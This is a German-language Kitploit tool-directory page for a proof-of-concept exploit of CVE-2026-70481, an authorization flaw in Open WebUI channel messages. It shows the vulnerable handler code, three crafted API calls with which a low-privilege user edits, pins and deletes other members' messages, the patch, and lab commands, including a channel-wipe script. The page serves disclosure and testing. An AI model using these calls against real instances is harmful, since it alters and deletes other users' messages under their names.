Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-70481 — Proof-of-concept-Exploit für eine Autorisierungsschwachstelle in Open WebUI, die es Benutzern mit geringen Berechtigungen ermöglicht, Kanalnachrichten anderer Mitglieder über manipulierte API-Aufrufe zu bearbeiten und zu löschen. | Kitploit
Tools/GitHubGitHub/foxer131/cve-2026-70481
Authentifizierung & AutorisierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationAPI-SicherheitstestsWebsicherheitPenetrationstests
GitHubfoxer131/cve-2026-70481

CVE-2026-70481

Proof-of-concept-Exploit für eine Autorisierungsschwachstelle in Open WebUI, die es Benutzern mit geringen Berechtigungen ermöglicht, Kanalnachrichten anderer Mitglieder über manipulierte API-Aufrufe zu bearbeiten und zu löschen.

Repository anzeigen
vor 16 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-70481

Open WebUI, betroffen 0.5.0 bis 0.10.2, gepatcht in 0.11.0. Schweregrad: Mittel, CVSS 5.4, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L, CWE-284 und CWE-862.

In backend/open_webui/routers/channels.py verzweigen die Update- und Delete-Handler für Nachrichten basierend auf dem Kanaltyp, und die beiden Zweige stellen unterschiedliche Fragen. Gruppen- und Direktnachrichtenkanäle sind ausschließlich dem Autor vorbehalten.

root@kitploit:~
if channel.type in ['group', 'dm']:
    if not await Channels.is_user_channel_member(channel.id, user.id, db=db):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
    # Membership is not authorship — block cross-member edits.
    if user.role != 'admin' and message.user_id != user.id:
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
else:
    if (
        user.role != 'admin'
        and message.user_id != user.id
        and not await channel_has_access(user.id, channel, permission='write', strict=False, db=db)
    ):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())

Der Standard-Kanalzweig erteilt die Freigabe allein bei Schreibzugriff, und Schreibzugriff ist genau das, was new_message_handler zum Posten benötigt – die Fähigkeit zu sprechen wurde also als Fähigkeit zum Umschreiben und Löschen akzeptiert. channel_has_access wird sowohl durch eine benutzerspezifische als auch durch eine öffentliche Freigabe erfüllt, sodass ein privater Raum mit einem Mitarbeiter ebenso betroffen ist wie ein offener Kanal. Das Update-Formular bindet content, data und meta, während die Modellebene message.user_id nie anfasst, sodass eine bearbeitete Nachricht den Namen des ursprünglichen Autors behält.

Die Ausnutzung besteht aus drei gewöhnlichen API-Aufrufen von einem einfachen Konto mit der Rolle user, das keiner Gruppe angehört, nichts besitzt und nichts verfasst hat.

root@kitploit:~
POST   /api/v1/channels/<id>/messages/<victim_msg>/update
       {"content":"wire the funds to account 000",
        "data":{"attacker_injected":true},
        "meta":{"stored_payload":""}}   ->  200
POST   /api/v1/channels/<id>/messages/<victim_msg>/pin                           ->  200
DELETE /api/v1/channels/<id>/messages/<other_msg>/delete                         ->  200, true

Commit c609ec411 in 0.11.0 teilt die Prüfung auf: zuerst Schreibzugriff, dann Autorschaft, passend zum Gruppen-Zweig. Das Anpinnen bleibt konstruktionsbedingt auf Schreibebene.

root@kitploit:~
else:
    if user.role != 'admin' and not await channel_has_access(
        user.id, channel, permission='write', strict=False, db=db
    ):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
    # Write access is not authorship — block cross-member edits.
    if user.role != 'admin' and message.user_id != user.id:
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())

Ausführen

root@kitploit:~
docker run -d -p 3080:8080 -e WEBUI_SECRET_KEY=devkey -e ENABLE_SIGNUP=true \
  -e DEFAULT_USER_ROLE=user --name open-webui ghcr.io/open-webui/open-webui:0.10.2

python3 prep/lab_setup.py                    # administrator, no attack, writes lab.json
python3 exploit_channel_message_tamper.py    # attacker, plus read-only and group-channel controls
python3 exploit_channel_takeover.py --wipe   # attacker, full channel takeover

Erneut gegen 0.10.2 ausgeführt am 4. August 2026. Die Skripte löschen Nachrichten anderer Mitglieder – richten Sie sie daher ausschließlich gegen eine wegwerfbare lokale Instanz.

Referenzen

https://github.com/open-webui/open-webui/security/advisories/GHSA-mj5r-jf49-m3w7

https://www.cve.org/CVERecord?id=CVE-2026-70481

https://nvd.nist.gov/vuln/detail/CVE-2026-70481

Tool herunterladen